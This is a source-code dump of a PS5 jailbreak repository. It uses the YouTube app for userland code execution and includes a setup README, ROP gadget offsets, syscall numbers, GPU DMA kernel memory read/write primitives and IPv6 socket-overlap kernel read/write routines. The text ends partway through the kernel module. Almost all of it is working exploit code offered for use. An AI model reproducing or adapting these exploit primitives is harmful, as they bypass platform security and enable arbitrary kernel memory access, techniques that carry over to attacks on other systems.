Gezine/Y2JB/main 21k tokens More Tools
```
├── .github/
   ├── FUNDING.yml
├── LICENSE (omitted)
├── README.md (300 tokens)
├── download0/
   ├── cache/
      ├── splash_screen/
         ├── aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/
            ├── elfldr.elf
            ├── global.js (800 tokens)
            ├── gpu.js (2.8k tokens)
            ├── kernel.js (2.8k tokens)
            ├── kernel_offset.js (1900 tokens)
            ├── main.js (7.9k tokens)
            ├── misc.js (2.5k tokens)
            ├── remotejsloader.js (1200 tokens)
            ├── splash.html (100 tokens)
├── log_server.py (200 tokens)
├── payload_sender.py (200 tokens)
├── payloads/
   ├── helloworld.js
   ├── setlogserver.js (100 tokens)
```


## /.github/FUNDING.yml

```yml path="/.github/FUNDING.yml" 
github: [Gezine]
```

## /README.md

# Y2JB

Userland code execution using the PS5 YouTube app.

## Requirements

- At least 4.03 firmware PS5

### For Jailbroken PS5 (Webkit, Lua, BD-JB)
- Fake or legit activated PS5
- USA YouTube app version 1.03 PKG
- FTP access to the console

### For Non-Jailbroken PS5
- USB flash drive
- Pre-made backup file

## Setup Instructions

0. Set your PS5 network DNS to 127.0.0.2 (Or block www.youtube.com from your custom DNS)

### Jailbroken PS5

1. Install YouTube app version 1.03 PKG on your PS5
2. Use FTP to access the following path (create if not present):
   ```
   /user/download/PPSA01650
   ```
3. Download `download0.dat` from the releases page and send it using FTP

### Non-Jailbroken PS5

1. Download the backup file from the releases page
2. Follow Sony's official guide to [restore backup data from USB](https://www.playstation.com/en-gb/support/hardware/back-up-ps5-data-USB/)  
**Note: Restoring backup WILL FACTORY RESET YOUR PS5**

## Credits

* **shahrilnet, null_ptr** - Referenced many codes from [Remote Lua Loader](https://github.com/shahrilnet/remote_lua_loader)
* **ntfargo** - Thanks for providing V8 CVEs and CTF writeups

## Disclaimer

This tool is provided as-is for research and development purposes only. Use at your own risk. The developers are not responsible for any damage, data loss, or consequences resulting from the use of this software.


## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/elfldr.elf

Binary file available at https://raw.githubusercontent.com/Gezine/Y2JB/refs/heads/main/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/elfldr.elf

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/global.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/global.js" 
// Global functions
let addrof;
let read64;
let write64;
let create_fakeobj;
let read8;
let write8;
let read16;
let write16;
let read32;
let write32;
let get_backing_store;
let malloc;
let pwn;
let get_bytecode_addr;
let call_rop;
let call;
let syscall;

// Global objects
let allocated_buffers = [];
let eboot_base = 0n;
let libc_base = 0n;
let libc_strerror;
let libc_error;
let return_value_addr;
let libkernel_base;
let syscall_wrapper;
let rop_chain;
let fake_bc;
let fake_frame;
let return_value_buf;
let saved_fp = 0n;

let FW_VERSION;

let SCE_KERNEL_DLSYM;

const PAGE_SIZE = 0x4000;
const PHYS_PAGE_SIZE = 0x1000;

const STDIN_FILENO = 0n;
const STDOUT_FILENO = 1n;
const STDERR_FILENO = 2n;

const AF_INET = 2n;
const AF_INET6 = 28n;
const SOCK_STREAM = 1n;
const SOCK_DGRAM = 2n;
const IPPROTO_UDP = 17n;
const IPPROTO_IPV6 = 41n;
const IPV6_PKTINFO = 46n;
const INADDR_ANY = 0n;

const SOL_SOCKET = 0xffffn;
const SO_REUSEADDR = 4n;

const PROT_NONE = 0x0n;
const PROT_READ = 0x1n;
const PROT_WRITE = 0x2n;
const PROT_EXECUTE = 0x4n;
const GPU_READ = 0x10n;
const GPU_WRITE = 0x20n;
const GPU_RW = 0x30n;

const MAP_SHARED = 0x1n;
const MAP_PRIVATE = 0x2n;
const MAP_FIXED = 0x10n;
const MAP_ANONYMOUS = 0x1000n;
const MAP_NO_COALESCE = 0x400000n;

const O_RDONLY = 0n;
const O_WRONLY = 1n;
const O_RDWR = 2n;
const O_CREAT = 0x200n;
const O_TRUNC = 0x400n;
const O_APPEND = 0x8n;
const O_NONBLOCK = 0x4n;

const SIGILL = 4n;
const SIGBUS = 10n;
const SIGSEGV = 11n;
const SA_SIGINFO = 0x4n;

const LIBKERNEL_HANDLE = 0x2001n;

let ROP = {
    get pop_rsp()             { return eboot_base + 0x49f7fn;   },
    get pop_rax()             { return eboot_base + 0x2d954n;   },
    get pop_rdi()             { return eboot_base + 0xb0ec5n;   },
    get pop_rsi()             { return eboot_base + 0xb8a81n;   },
    get pop_rdx()             { return eboot_base + 0xb692n;    },
    get pop_rcx()             { return eboot_base + 0x187da3n;  },
    get pop_r8()              { return eboot_base + 0x1a8ff9n;  },
    get pop_r9()              { return eboot_base + 0x1394e01n; },
    get pop_rbp()             { return eboot_base + 0x69n;      },
    get mov_qword_rdi_rax()   { return eboot_base + 0x49a77n;   },
    get mov_qword_rdi_rdx()   { return eboot_base + 0x3a3b95n;  },
    get mov_rax_0x200000000() { return eboot_base + 0x1283d40n; },
    get mov_rsp_rbp()         { return eboot_base + 0xb1424n;   },
    get ret()                 { return eboot_base + 0x32n;      },
};

const DLSYM_OFFSETS = {
    "4": 0x317d0n,
    "5": 0x342e0n,
    "6": 0x330a0n,
    "7": 0x2ca80n,
    "8": 0x2bc70n,
    "9": 0x2d2f0n,
    "10": 0x2cf40n
};

let SYSCALL = {
    read: 0x3n,
    write: 0x4n,
    open: 0x5n,
    close: 0x6n,
    setuid: 0x17n,
    getuid: 0x18n,
    accept: 0x1en,
    pipe: 0x2an,
    mprotect: 0x4an,
    socket: 0x61n,
    connect: 0x62n,
    bind: 0x68n,
    setsockopt: 0x69n,
    listen: 0x6an,
    getsockopt: 0x76n,
    netgetiflist: 0x7dn,
    sysctl: 0xcan,
    nanosleep: 0xf0n,
    sigaction: 0x1a0n,
    thr_self: 0x1b0n,
    dlsym: 0x24fn,
    dynlib_load_prx: 0x252n,
    dynlib_unload_prx: 0x253n,
    randomized_path: 0x25an,
    is_in_sandbox: 0x249n,
    mmap: 0x1ddn,
    getpid: 0x14n,
    jitshm_create: 0x215n,
    jitshm_alias: 0x216n,
    unlink: 0xan,
    chmod: 0xfn,
    recvfrom: 0x1dn,
    getsockname: 0x20n,
    rename: 0x80n,
    sendto: 0x85n,
    mkdir: 0x88n,
    rmdir: 0x89n,
    stat: 0xbcn,
    getdents: 0x110n,
    lseek: 0x1den,
    dup2: 0x5an,
    fcntl: 0x5cn,
    select: 0x5dn,
    fstat: 0xbdn,
    umtx_op: 0x1c6n,
    cpuset_getaffinity: 0x1e7n,
    cpuset_setaffinity: 0x1e8n,
    rtprio_thread: 0x1d2n,
    ftruncate: 0x1e0n,
    sched_yield: 0x14bn,
    munmap: 0x49n,
    thr_new: 0x1c7n,
    thr_exit: 0x1afn,
    fsync: 0x5fn,
};

```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/gpu.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/gpu.js" 
// https://github.com/shahrilnet/remote_lua_loader/blob/main/savedata/gpu.lua
// Credit to flatz and shadPS4 project for references

// GPU page table

let sceKernelAllocateMainDirectMemory;
let sceKernelMapDirectMemory;
let sceGnmSubmitCommandBuffers;
let sceGnmSubmitDone;

const GPU_PDE_SHIFT = {
    VALID: 0,
    IS_PTE: 54,
    TF: 56,
    BLOCK_FRAGMENT_SIZE: 59,
};

const GPU_PDE_MASKS = {
    VALID: 1n,
    IS_PTE: 1n,
    TF: 1n,
    BLOCK_FRAGMENT_SIZE: 0x1fn,
};

const GPU_PDE_ADDR_MASK = 0x0000ffffffffffc0n;

function gpu_pde_field(pde, field) {
    const shift = GPU_PDE_SHIFT[field];
    const mask = GPU_PDE_MASKS[field];
    return (pde >> BigInt(shift)) & mask;
}

function gpu_walk_pt(vmid, virt_addr) {
    const pdb2_addr = get_pdb2_addr(vmid);
    
    const pml4e_index = (virt_addr >> 39n) & 0x1ffn;
    const pdpe_index = (virt_addr >> 30n) & 0x1ffn;
    const pde_index = (virt_addr >> 21n) & 0x1ffn;
    
    // PDB2
    const pml4e = kernel.read_qword(pdb2_addr + pml4e_index * 8n);
    
    if (gpu_pde_field(pml4e, "VALID") !== 1n) {
        return null;
    }
    
    // PDB1
    const pdp_base_pa = pml4e & GPU_PDE_ADDR_MASK;
    const pdpe_va = phys_to_dmap(pdp_base_pa) + pdpe_index * 8n;
    const pdpe = kernel.read_qword(pdpe_va);
    
    if (gpu_pde_field(pdpe, "VALID") !== 1n) {
        return null;
    }
    
    // PDB0
    const pd_base_pa = pdpe & GPU_PDE_ADDR_MASK;
    const pde_va = phys_to_dmap(pd_base_pa) + pde_index * 8n;
    const pde = kernel.read_qword(pde_va);
    
    if (gpu_pde_field(pde, "VALID") !== 1n) {
        return null;
    }
    
    if (gpu_pde_field(pde, "IS_PTE") === 1n) {
        return [pde_va, 0x200000n]; // 2MB
    }
    
    // PTB
    const fragment_size = gpu_pde_field(pde, "BLOCK_FRAGMENT_SIZE");
    const offset = virt_addr & 0x1fffffn;
    const pt_base_pa = pde & GPU_PDE_ADDR_MASK;
    
    let pte_index, pte;
    let pte_va, page_size;
    
    if (fragment_size === 4n) {
        pte_index = offset >> 16n;
        pte_va = phys_to_dmap(pt_base_pa) + pte_index * 8n;
        pte = kernel.read_qword(pte_va);
        
        if (gpu_pde_field(pte, "VALID") === 1n && gpu_pde_field(pte, "TF") === 1n) {
            pte_index = (virt_addr & 0xffffn) >> 13n;
            pte_va = phys_to_dmap(pt_base_pa) + pte_index * 8n;
            page_size = 0x2000n; // 8KB
        } else {
            page_size = 0x10000n; // 64KB
        }
    } else if (fragment_size === 1n) {
        pte_index = offset >> 13n;
        pte_va = phys_to_dmap(pt_base_pa) + pte_index * 8n;
        page_size = 0x2000n; // 8KB
    }
    
    return [pte_va, page_size];
}

// Kernel r/w primitives based on GPU DMA

const gpu = {};

gpu.dmem_size = 2n * 0x100000n; // 2MB

gpu.setup = function() {
    check_kernel_rw();
    
    const libSceGnmDriver = load_prx("/system/common/lib/libSceGnmDriver.sprx");
    
    // Put these into global to make life easier
    sceKernelAllocateMainDirectMemory = dlsym(LIBKERNEL_HANDLE, "sceKernelAllocateMainDirectMemory");
    sceKernelMapDirectMemory = dlsym(LIBKERNEL_HANDLE, "sceKernelMapDirectMemory");
    sceGnmSubmitCommandBuffers = dlsym(libSceGnmDriver, "sceGnmSubmitCommandBuffers");
    sceGnmSubmitDone = dlsym(libSceGnmDriver, "sceGnmSubmitDone");
    
    const prot_ro = PROT_READ | PROT_WRITE | GPU_READ;
    const prot_rw = prot_ro | GPU_WRITE;
    
    const victim_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE);
    const transfer_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE);
    const cmd_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE);
    
    const curproc_cr3 = get_proc_cr3(kernel.addr.curproc);
    const victim_real_pa = virt_to_phys(victim_va, curproc_cr3);
    
    const result = get_ptb_entry_of_relative_va(victim_va);
    if (!result) {
        throw new Error("failed to setup gpu primitives");
    }
    
    const [victim_ptbe_va, page_size] = result;
    
    if (!victim_ptbe_va || page_size !== gpu.dmem_size) {
        throw new Error("failed to setup gpu primitives");
    }
    
    if (syscall(SYSCALL.mprotect, victim_va, gpu.dmem_size, prot_ro) === 0xffffffffffffffffn) {
        throw new Error("mprotect() error");
    }
    
    const initial_victim_ptbe_for_ro = kernel.read_qword(victim_ptbe_va);
    const cleared_victim_ptbe_for_ro = initial_victim_ptbe_for_ro & (~victim_real_pa);
    
    gpu.victim_va = victim_va;
    gpu.transfer_va = transfer_va;
    gpu.cmd_va = cmd_va;
    gpu.victim_ptbe_va = victim_ptbe_va;
    gpu.cleared_victim_ptbe_for_ro = cleared_victim_ptbe_for_ro;
};

gpu.pm4_type3_header = function(opcode, count) {
    
    const packet_type = 3n;
    const shader_type = 1n;  // compute shader
    const predicate = 0n;    // predicate disable
    
    const result = (
        (predicate & 0x0n) |                      // Predicated version of packet when set
        ((shader_type & 0x1n) << 1n) |            // 0: Graphics, 1: Compute Shader
        ((opcode & 0xffn) << 8n) |        // IT opcode
        (((count - 1n) & 0x3fffn) << 16n) |  // Number of DWORDs - 1 in the information body
        ((packet_type & 0x3n) << 30n)             // Packet identifier. It should be 3 for type 3 packets
    );
    
    return result & 0xFFFFFFFFn;
};

gpu.pm4_dma_data = function(dest_va, src_va, length) {
    const count = 6n;
    const bufsize = Number(4n * (count + 1n));
    const opcode = 0x50n;
    const command_len = BigInt(length) & 0x1fffffn;
    
    const pm4 = malloc(bufsize);
    
    const dma_data_header = (
        (0n & 0x1n) |                    // engine
        ((0n & 0x1n) << 12n) |           // src_atc
        ((2n & 0x3n) << 13n) |           // src_cache_policy
        ((1n & 0x1n) << 15n) |           // src_volatile
        ((0n & 0x3n) << 20n) |           // dst_sel (DmaDataDst enum)
        ((0n & 0x1n) << 24n) |           // dst_atc
        ((2n & 0x3n) << 25n) |           // dst_cache_policy
        ((1n & 0x1n) << 27n) |           // dst_volatile
        ((0n & 0x3n) << 29n) |           // src_sel (DmaDataSrc enum)
        ((1n & 0x1n) << 31n)             // cp_sync
    ) & 0xFFFFFFFFn;
    
    write32(pm4, gpu.pm4_type3_header(opcode, count)); // pm4 header
    write32(pm4 + 0x4n, dma_data_header); // dma data header (copy: mem -> mem)
    write32(pm4 + 0x8n, src_va & 0xFFFFFFFFn);
    write32(pm4 + 0xcn, src_va >> 32n);
    write32(pm4 + 0x10n, dest_va & 0xFFFFFFFFn);
    write32(pm4 + 0x14n, dest_va >> 32n);
    write32(pm4 + 0x18n, command_len);
    
    return read_buffer(pm4, bufsize);
};

gpu.submit_dma_data_command = function(dest_va, src_va, size) {
    const dcb_count = 1;
    const dcb_gpu_addr = malloc(dcb_count * 8);
    const dcb_sizes_in_bytes = malloc(dcb_count * 4);
    
    // Prep command buf
    const dma_data = gpu.pm4_dma_data(dest_va, src_va, size);
    write_buffer(gpu.cmd_va, dma_data); // prep dma cmd
    
    // Prep param
    write64(dcb_gpu_addr, gpu.cmd_va);
    write32(dcb_sizes_in_bytes, BigInt(dma_data.length));
    
    // Submit to GPU
    const ret = call(sceGnmSubmitCommandBuffers, BigInt(dcb_count), dcb_gpu_addr, dcb_sizes_in_bytes, 0n, 0n);
    if (ret !== 0n) {
        throw new Error("sceGnmSubmitCommandBuffers() error: " + toHex(ret));
    }
    
    // Note: sleep commented out - not available in JS
    // sleep(1);
    
    // Inform GPU that current submission is done
    const ret2 = call(sceGnmSubmitDone);
    if (ret2 !== 0n) {
        throw new Error("sceGnmSubmitDone() error: " + toHex(ret2));
    }
};

gpu.transfer_physical_buffer = function(phys_addr, size, is_write) {
    const trunc_phys_addr = phys_addr & ~(gpu.dmem_size - 1n);
    const offset = phys_addr - trunc_phys_addr;
    
    if (offset + BigInt(size) > gpu.dmem_size) {
        throw new Error("error: trying to write more than direct memory size: " + size);
    }
    
    const prot_ro = PROT_READ | PROT_WRITE | GPU_READ;
    const prot_rw = prot_ro | GPU_WRITE;
    
    // Remap PTD
    if (syscall(SYSCALL.mprotect, gpu.victim_va, gpu.dmem_size, prot_ro) === 0xffffffffffffffffn) {
        throw new Error("mprotect() error");
    }
    
    const new_ptb = gpu.cleared_victim_ptbe_for_ro | trunc_phys_addr;
    kernel.write_qword(gpu.victim_ptbe_va, new_ptb);
    
    if (syscall(SYSCALL.mprotect, gpu.victim_va, gpu.dmem_size, prot_rw) === 0xffffffffffffffffn) {
        throw new Error("mprotect() error");
    }
    
    let src, dst;
    
    if (is_write) {
        src = gpu.transfer_va;
        dst = gpu.victim_va + offset;
    } else {
        src = gpu.victim_va + offset;
        dst = gpu.transfer_va;
    }
    
    // Do the DMA operation
    gpu.submit_dma_data_command(dst, src, size);
};

gpu.read_buffer = function(addr, size) {
    const phys_addr = virt_to_phys(addr, kernel.addr.kernel_cr3);
    if (!phys_addr) {
        throw new Error("failed to translate " + toHex(addr) + " to physical addr");
    }
    
    gpu.transfer_physical_buffer(phys_addr, size, false);
    return read_buffer(gpu.transfer_va, size);
};

gpu.write_buffer = function(addr, buf) {
    const phys_addr = virt_to_phys(addr, kernel.addr.kernel_cr3);
    if (!phys_addr) {
        throw new Error("failed to translate " + toHex(addr) + " to physical addr");
    }
    
    write_buffer(gpu.transfer_va, buf); // prepare data for write
    gpu.transfer_physical_buffer(phys_addr, buf.length, true);
};

gpu.read_byte = function(kaddr) {
    const value = gpu.read_buffer(kaddr, 1);
    return value && value.length === 1 ? BigInt(value[0]) : null;
};

gpu.read_word = function(kaddr) {
    const value = gpu.read_buffer(kaddr, 2);
    if (!value || value.length !== 2) return null;
    return BigInt(value[0]) | (BigInt(value[1]) << 8n);
};

gpu.read_dword = function(kaddr) {
    const value = gpu.read_buffer(kaddr, 4);
    if (!value || value.length !== 4) return null;
    let result = 0n;
    for (let i = 0; i < 4; i++) {
        result |= (BigInt(value[i]) << BigInt(i * 8));
    }
    return result;
};

gpu.read_qword = function(kaddr) {
    const value = gpu.read_buffer(kaddr, 8);
    if (!value || value.length !== 8) return null;
    let result = 0n;
    for (let i = 0; i < 8; i++) {
        result |= (BigInt(value[i]) << BigInt(i * 8));
    }
    return result;
};

gpu.hex_dump = function(kaddr, size) {
    size = size || 0x40;
    // Assuming hex_dump function exists elsewhere
    return hex_dump(gpu.read_buffer(kaddr, size), kaddr);
};

gpu.write_byte = function(dest, value) {
    const buf = new Uint8Array(1);
    buf[0] = Number(value & 0xFFn);
    gpu.write_buffer(dest, buf);
};

gpu.write_word = function(dest, value) {
    const buf = new Uint8Array(2);
    buf[0] = Number(value & 0xFFn);
    buf[1] = Number((value >> 8n) & 0xFFn);
    gpu.write_buffer(dest, buf);
};

gpu.write_dword = function(dest, value) {
    const buf = new Uint8Array(4);
    for (let i = 0; i < 4; i++) {
        buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn);
    }
    gpu.write_buffer(dest, buf);
};

gpu.write_qword = function(dest, value) {
    const buf = new Uint8Array(8);
    for (let i = 0; i < 8; i++) {
        buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn);
    }
    gpu.write_buffer(dest, buf);
};

// Misc functions

function alloc_main_dmem(size, prot, flag) {
    if (!size || prot === null || prot === undefined) {
        throw new Error("alloc_main_dmem: size and prot are required");
    }
    
    const out = malloc(8);
    const mem_type = 1n; // 1-10
    
    const size_big = typeof size === "bigint" ? size : BigInt(size);
    const prot_big = typeof prot === "bigint" ? prot : BigInt(prot);
    const flag_big = typeof flag === "bigint" ? flag : BigInt(flag);
    
    const ret = call(sceKernelAllocateMainDirectMemory, size_big, size_big, mem_type, out);
    if (ret !== 0n) {
        throw new Error("sceKernelAllocateMainDirectMemory() error: " + toHex(ret));
    }
    
    const phys_addr = read64(out);
    
    write64(out, 0n);
    
    const ret2 = call(sceKernelMapDirectMemory, out, size_big, prot_big, flag_big, phys_addr, size_big);
    if (ret2 !== 0n) {
        throw new Error("sceKernelMapDirectMemory() error: " + toHex(ret2));
    }
    
    const virt_addr = read64(out);
    return virt_addr;
}

function get_curproc_vmid() {
    const vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE);
    const vmid = kernel.read_dword(vmspace + kernel_offset.VMSPACE_VM_VMID);
    return Number(vmid);
}

function get_gvmspace(vmid) {
    if (vmid === null || vmid === undefined) {
        throw new Error("vmid is required");
    }
    const vmid_big = typeof vmid === "bigint" ? vmid : BigInt(vmid);
    const gvmspace_base = kernel.addr.data_base + kernel_offset.DATA_BASE_GVMSPACE;
    return gvmspace_base + vmid_big * kernel_offset.SIZEOF_GVMSPACE;
}

function get_pdb2_addr(vmid) {
    const gvmspace = get_gvmspace(vmid);
    return kernel.read_qword(gvmspace + kernel_offset.GVMSPACE_PAGE_DIR_VA);
}

function get_relative_va(vmid, va) {
    if (typeof va !== "bigint") {
        throw new Error("va must be BigInt");
    }
    
    const gvmspace = get_gvmspace(vmid);
    
    const size = kernel.read_qword(gvmspace + kernel_offset.GVMSPACE_SIZE);
    const start_addr = kernel.read_qword(gvmspace + kernel_offset.GVMSPACE_START_VA);
    const end_addr = start_addr + size;
    
    if (va >= start_addr && va < end_addr) {
        return va - start_addr;
    }
    
    return null;
}

function get_ptb_entry_of_relative_va(virt_addr) {
    const vmid = get_curproc_vmid();
    const relative_va = get_relative_va(vmid, virt_addr);
    
    if (!relative_va) {
        throw new Error("invalid virtual addr " + toHex(virt_addr) + " for vmid " + vmid);
    }
    
    return gpu_walk_pt(vmid, relative_va);
}
```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/kernel.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/kernel.js" 
// https://github.com/shahrilnet/remote_lua_loader/blob/main/savedata/kernel.lua

const kernel = {
    addr: {},
    copyout: null,
    copyin: null,
    read_buffer: null,
    write_buffer: null
};

kernel.read_byte = function(kaddr) {
    const value = kernel.read_buffer(kaddr, 1);
    return value && value.length === 1 ? BigInt(value[0]) : null;
};

kernel.read_word = function(kaddr) {
    const value = kernel.read_buffer(kaddr, 2);
    if (!value || value.length !== 2) return null;
    return BigInt(value[0]) | (BigInt(value[1]) << 8n);
};

kernel.read_dword = function(kaddr) {
    const value = kernel.read_buffer(kaddr, 4);
    if (!value || value.length !== 4) return null;
    let result = 0n;
    for (let i = 0; i < 4; i++) {
        result |= (BigInt(value[i]) << BigInt(i * 8));
    }
    return result;
};

kernel.read_qword = function(kaddr) {
    const value = kernel.read_buffer(kaddr, 8);
    if (!value || value.length !== 8) return null;
    let result = 0n;
    for (let i = 0; i < 8; i++) {
        result |= (BigInt(value[i]) << BigInt(i * 8));
    }
    return result;
};

kernel.read_null_terminated_string = function(kaddr) {
    const decoder = new TextDecoder('utf-8');
    let result = "";
    
    while (true) {
        const chunk = kernel.read_buffer(kaddr, 0x8);
        if (!chunk || chunk.length === 0) break;
        
        let null_pos = -1;
        for (let i = 0; i < chunk.length; i++) {
            if (chunk[i] === 0) {
                null_pos = i;
                break;
            }
        }
        
        if (null_pos >= 0) {
            if (null_pos > 0) {
                result += decoder.decode(chunk.slice(0, null_pos));
            }
            return result;
        }
        
        result += decoder.decode(chunk, { stream: true });
        kaddr = kaddr + BigInt(chunk.length);
    }
    
    return result;
};

kernel.write_byte = function(dest, value) {
    const buf = new Uint8Array(1);
    buf[0] = Number(value & 0xFFn);
    kernel.write_buffer(dest, buf);
};

kernel.write_word = function(dest, value) {
    const buf = new Uint8Array(2);
    buf[0] = Number(value & 0xFFn);
    buf[1] = Number((value >> 8n) & 0xFFn);
    kernel.write_buffer(dest, buf);
};

kernel.write_dword = function(dest, value) {
    const buf = new Uint8Array(4);
    for (let i = 0; i < 4; i++) {
        buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn);
    }
    kernel.write_buffer(dest, buf);
};

kernel.write_qword = function(dest, value) {
    const buf = new Uint8Array(8);
    for (let i = 0; i < 8; i++) {
        buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn);
    }
    kernel.write_buffer(dest, buf);
};

const ipv6_kernel_rw = {
    data: {},
    ofiles: null,
    kread8: null,
    kwrite8: null
};

ipv6_kernel_rw.init = function(ofiles, kread8, kwrite8) {
    ipv6_kernel_rw.ofiles = ofiles;
    ipv6_kernel_rw.kread8 = kread8;
    ipv6_kernel_rw.kwrite8 = kwrite8;
    
    ipv6_kernel_rw.create_pipe_pair();
    ipv6_kernel_rw.create_overlapped_ipv6_sockets();
};

ipv6_kernel_rw.get_fd_data_addr = function(fd) {
    const filedescent_addr = ipv6_kernel_rw.ofiles + BigInt(fd) * kernel_offset.SIZEOF_OFILES;
    const file_addr = ipv6_kernel_rw.kread8(filedescent_addr + 0x0n);
    return ipv6_kernel_rw.kread8(file_addr + 0x0n);
};

ipv6_kernel_rw.create_pipe_pair = function() {
    const [read_fd, write_fd] = create_pipe();
    
    ipv6_kernel_rw.data.pipe_read_fd = read_fd;
    ipv6_kernel_rw.data.pipe_write_fd = write_fd;
    ipv6_kernel_rw.data.pipe_addr = ipv6_kernel_rw.get_fd_data_addr(read_fd);
    ipv6_kernel_rw.data.pipemap_buffer = malloc(0x14);
    ipv6_kernel_rw.data.read_mem = malloc(PAGE_SIZE);
};

ipv6_kernel_rw.create_overlapped_ipv6_sockets = function() {
    const master_target_buffer = malloc(0x14);
    const slave_buffer = malloc(0x14);
    const pktinfo_size_store = malloc(0x8);
    
    write64(pktinfo_size_store, 0x14n);
    
    const master_sock = syscall(SYSCALL.socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
    const victim_sock = syscall(SYSCALL.socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
    
    syscall(SYSCALL.setsockopt, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, master_target_buffer, 0x14n);
    syscall(SYSCALL.setsockopt, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, slave_buffer, 0x14n);
    
    const master_so = ipv6_kernel_rw.get_fd_data_addr(master_sock);
    const master_pcb = ipv6_kernel_rw.kread8(master_so + kernel_offset.SO_PCB);
    const master_pktopts = ipv6_kernel_rw.kread8(master_pcb + kernel_offset.INPCB_PKTOPTS);
    
    const slave_so = ipv6_kernel_rw.get_fd_data_addr(victim_sock);
    const slave_pcb = ipv6_kernel_rw.kread8(slave_so + kernel_offset.SO_PCB);
    const slave_pktopts = ipv6_kernel_rw.kread8(slave_pcb + kernel_offset.INPCB_PKTOPTS);
    
    ipv6_kernel_rw.kwrite8(master_pktopts + 0x10n, slave_pktopts + 0x10n);
    
    ipv6_kernel_rw.data.master_target_buffer = master_target_buffer;
    ipv6_kernel_rw.data.slave_buffer = slave_buffer;
    ipv6_kernel_rw.data.pktinfo_size_store = pktinfo_size_store;
    ipv6_kernel_rw.data.master_sock = master_sock;
    ipv6_kernel_rw.data.victim_sock = victim_sock;
};

ipv6_kernel_rw.ipv6_write_to_victim = function(kaddr) {
    write64(ipv6_kernel_rw.data.master_target_buffer, kaddr);
    write64(ipv6_kernel_rw.data.master_target_buffer + 0x8n, 0n);
    write32(ipv6_kernel_rw.data.master_target_buffer + 0x10n, 0n);
    syscall(SYSCALL.setsockopt, ipv6_kernel_rw.data.master_sock, IPPROTO_IPV6, 
            IPV6_PKTINFO, ipv6_kernel_rw.data.master_target_buffer, 0x14n);
};

ipv6_kernel_rw.ipv6_kread = function(kaddr, buffer_addr) {
    ipv6_kernel_rw.ipv6_write_to_victim(kaddr);
    syscall(SYSCALL.getsockopt, ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, 
            IPV6_PKTINFO, buffer_addr, ipv6_kernel_rw.data.pktinfo_size_store);
};

ipv6_kernel_rw.ipv6_kwrite = function(kaddr, buffer_addr) {
    ipv6_kernel_rw.ipv6_write_to_victim(kaddr);
    syscall(SYSCALL.setsockopt, ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, 
            IPV6_PKTINFO, buffer_addr, 0x14n);
};

ipv6_kernel_rw.ipv6_kread8 = function(kaddr) {
    ipv6_kernel_rw.ipv6_kread(kaddr, ipv6_kernel_rw.data.slave_buffer);
    return read64(ipv6_kernel_rw.data.slave_buffer);
};

ipv6_kernel_rw.copyout = function(kaddr, uaddr, len) {
   if (kaddr === null || kaddr === undefined || 
       uaddr === null || uaddr === undefined || 
       len === null || len === undefined || len === 0n) {
       throw new Error("copyout: invalid arguments");
   }
    
    write64(ipv6_kernel_rw.data.pipemap_buffer, 0x4000000040000000n);
    write64(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0x4000000000000000n);
    write32(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
    ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer);
    
    write64(ipv6_kernel_rw.data.pipemap_buffer, kaddr);
    write64(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0n);
    write32(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
    ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10n, ipv6_kernel_rw.data.pipemap_buffer);
    
    syscall(SYSCALL.read, ipv6_kernel_rw.data.pipe_read_fd, uaddr, len);
};

ipv6_kernel_rw.copyin = function(uaddr, kaddr, len) {
   if (kaddr === null || kaddr === undefined || 
       uaddr === null || uaddr === undefined || 
       len === null || len === undefined || len === 0n) {
       throw new Error("copyout: invalid arguments");
   }
    
    
    write64(ipv6_kernel_rw.data.pipemap_buffer, 0n);
    write64(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0x4000000000000000n);
    write32(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
    ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer);
    
    write64(ipv6_kernel_rw.data.pipemap_buffer, kaddr);
    write64(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0n);
    write32(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
    ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10n, ipv6_kernel_rw.data.pipemap_buffer);
    
    syscall(SYSCALL.write, ipv6_kernel_rw.data.pipe_write_fd, uaddr, len);
};

ipv6_kernel_rw.read_buffer = function(kaddr, len) {
    let mem = ipv6_kernel_rw.data.read_mem;
    if (len > PAGE_SIZE) {
        mem = malloc(len);
    }
    
